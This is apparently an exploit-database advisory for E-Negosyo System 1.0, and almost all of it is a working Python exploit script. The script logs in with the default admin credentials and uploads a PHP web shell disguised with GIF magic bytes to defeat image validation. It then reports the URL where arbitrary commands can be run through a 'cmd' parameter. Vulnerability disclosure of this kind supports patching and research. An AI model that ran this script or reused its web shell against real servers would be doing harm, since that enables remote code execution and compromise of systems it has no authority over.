E-Negosyo System 1.0 Shell Upload

2021.09.24
Credit: Janik Wehrli
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: E-Negosyo System 1.0 - Authenticated RCE # Date: 2021-09-22 # Exploit Author: Janik Wehrli # Vendor Homepage: https://www.sourcecodester.com/users/janobe # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsenordering_0.zip # Version: 1.0 # Category: Webapps # Tested on: Ubuntu 18.04, Windows 10 Home # Description: # The E-Negosyo System 1.0 suffers from an Authenticated RCE vulnerability. # An Administrator can upload a PHP file as new product image, because image uploads are not properly handled by the Webapp # The Error resides in the file /admin/products/controller.php - function doInsert() which validates images with getImageSize # This can be bypassed by inserting some magic bytes at the top of the PHP file. import requests, sys from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE] S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT] info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' ' err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' ' ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' ' ASCII_ART = """ _.---._ /\\ ./' "--`\// ./ o \ /./\ )______ \__ \ ./ / /\ \ | \ \ \ \ / / \ \ | |\ \ \7 " " " " E-Negosyo System Authenticated RCE v1.0 Janik Wehrli """ # Set variables print(ASCII_ART) SERVER_URL = str( input("Type in your E-Negosyo System Location e.g http://192.168.20.20/bsenordering: \n")) LOGIN_URL = SERVER_URL + '/admin/login.php' # You may have to adjust the id of the picture UPLOAD_URL = SERVER_URL + "/admin/products/controller.php?action=photos&id=201735" PWN_URL = SERVER_URL + "/admin/products/uploaded_photos/" # Set your own credentials (janobe:admin by default on v1.0) USERNAME = "janobe" PASSWORD = "admin" WEBSHELL_NAME = "pwn.php" # Uncomment the bottom line to run the exploit through a proxy such as burp # proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} # Create a simple web session with python s = requests.Session() # GET request to webserver - Start a session & retrieve a session cookie get_session = s.get(LOGIN_URL, verify=False) # Check connection to website & print session cookie to terminal OR die if get_session.status_code == 200: print(ok + 'Successfully connected to E-Negosyo System server & created session.') print(info + "Session Cookie: " + get_session.headers['Set-Cookie']) else: print(err + 'Cannot connect to the server and create a web session.') sys.exit(-1) # 1. Login to get Admin access login_data = {'username': USERNAME, 'password': PASSWORD, 'login': ''} print( info + "Attempting to Login to E-Negosyo System v1.0 with the following credentials: " + "username:" + USERNAME + ":" + "password:" + PASSWORD) # auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies) auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True) if auth.status_code == 200: print(ok, "Login Success") else: print(err, "Something Went Wrong") # 2. Upload simple PHP Webshell to get command execution # Content-Disposition: form-data; name="image"; filename="pwn.php" # Content-Type: application/octet-stream webshell = { 'photo': ( WEBSHELL_NAME, 'GIF89a <?php echo shell_exec($_GET["cmd"]);?>', 'application/octet-stream', {'Content-Disposition': 'form-data'} ) } print(info + "Upload Webshell via insecure verification of images (getimagesize()) add GIF Magic Bytes") print(info + "Send Post malicious POST Request to the Server") upload_webshell = s.post(url=UPLOAD_URL, files=webshell, verify=False) if "window.location='index.php'" in upload_webshell.text: print(ok, "Success") print(ok, "Your Webshell is located under: " + PWN_URL + WEBSHELL_NAME) print(ok, "Execute Commands via the GET Parameter 'cmd' for e.g " + PWN_URL + WEBSHELL_NAME + "?cmd=whoami") else: print(err, "Something Went Wrong")


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